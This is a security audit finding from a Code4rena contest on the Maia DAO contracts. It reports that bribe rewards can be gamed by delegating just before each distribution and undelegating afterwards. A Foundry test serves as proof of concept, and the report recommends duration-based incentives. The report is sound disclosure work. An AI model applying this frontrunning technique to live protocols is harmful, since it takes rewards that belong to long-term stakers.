Lucene search

K
code423n4Code4renaCODE423N4:2023-05-MAIA-FINDINGS-ISSUES-771
HistoryJul 05, 2023 - 12:00 a.m.

FlywheelAcummulatedRewards/FlywheelBribeRewards gains are instantaneous and can be frontrun

2023-07-0500:00:00
Code4rena
github.com
4
flywheel acummulated rewards
bribe rewards
frontrun
undelegation
staking bhermes
minting votes

Lines of code

Vulnerability details

Impact

FlywheelAcummulatedRewards/FlywheelBribeRewards gains are instantaneous and can be frontrun.
The user only needs to frontrun the delegate before each incentive is distributed to get the incentive, and there is no way to prevent the user from undelegating after receiving the reward.
The protocal is to mint votes using staking bHermes. For example, the user can staking bHermes to get votes, delegate to receive the incentive, undelegate, and then take out bHermes to do other earnings, and wait until a week later to re-delegate.

Proof of Concept

function testUndelegateAfterAccrue() external {
        MockERC20 token = new MockERC20("test token", "TKN", 18);
        FlywheelCore flywheel = createFlywheel(token);
        gaugeToken.setMaxDelegates(2);

        hermes.mint(address(this), 100e18);
        hermes.approve(address(gaugeToken), 100e18);
        gaugeToken.mint(address(this), 100e18);
        gaugeToken.delegate(address(this));
        gaugeToken.incrementGauge(address(gauge), 100e18);

        address other = address(0xdead);
        hevm.startPrank(other);
        hermes.mint(other, 100e18);
        hermes.approve(address(gaugeToken), 100e18);
        gaugeToken.mint(other, 100e18);
        gaugeToken.delegate(other);
        gaugeToken.incrementGauge(address(gauge), 100e18);
        hevm.stopPrank();

        // addBribeFlywheel
        gauge.addBribeFlywheel(flywheel);
        token.mint(address(depot), 100 ether);

        // claimRewards
        gauge.accrueBribes(address(this));
        flywheel.claimRewards(address(this));
        gauge.accrueBribes(other);
        flywheel.claimRewards(other);
        assert(token.balanceOf(address(this)) == token.balanceOf(other));
        assert(token.balanceOf(address(this)) == 50 ether);

        // Undo delegate
        gaugeToken.decrementGauge(address(gauge), 100e18);
        gaugeToken.undelegate(address(this), 100e18);
        gaugeToken.burn(address(this), 100e18);

        hevm.warp(WEEK - 3 days);

        // frontrun to delegate
        gaugeToken.mint(address(this), 100e18);
        gaugeToken.delegate(address(this));
        gaugeToken.incrementGauge(address(gauge), 100e18);

        // update bribeFlywheel
        token.mint(address(depot), 100 ether);

        // Cycle 1
        hevm.warp(WEEK);

        // claimRewards
        gauge.accrueBribes(address(this));
        flywheel.claimRewards(address(this));
        gauge.accrueBribes(other);
        flywheel.claimRewards(other);
        assert(token.balanceOf(address(this)) == token.balanceOf(other));
        assert(token.balanceOf(address(this)) == 100 ether);

        // Undo delegate
        gaugeToken.decrementGauge(address(gauge), 100e18);
        gaugeToken.undelegate(address(this), 100e18);
        gaugeToken.burn(address(this), 100e18);

        hevm.warp(WEEK * 2 - 3 days);

        // frontrun to delegate
        gaugeToken.mint(address(this), 100e18);
        gaugeToken.delegate(address(this));
        gaugeToken.incrementGauge(address(gauge), 100e18);

        // update bribeFlywheel
        token.mint(address(depot), 100 ether);

        // Cycle 2
        hevm.warp(WEEK * 2);

        // claimRewards
        gauge.accrueBribes(address(this));
        flywheel.claimRewards(address(this));
        gauge.accrueBribes(other);
        flywheel.claimRewards(other);
        assert(token.balanceOf(address(this)) == token.balanceOf(other));
        assert(token.balanceOf(address(this)) == 150 ether);
    }

Add the above test to BaseV2GaugeTest.t.sol, and you will find that the gains from the frontrun and the gains from the continuous delegate are equal.

Tools Used

Foundry

Recommended Mitigation Steps

Assign incentives by delegate duration instead of cycle

Assessed type

Context


The text was updated successfully, but these errors were encountered:

All reactions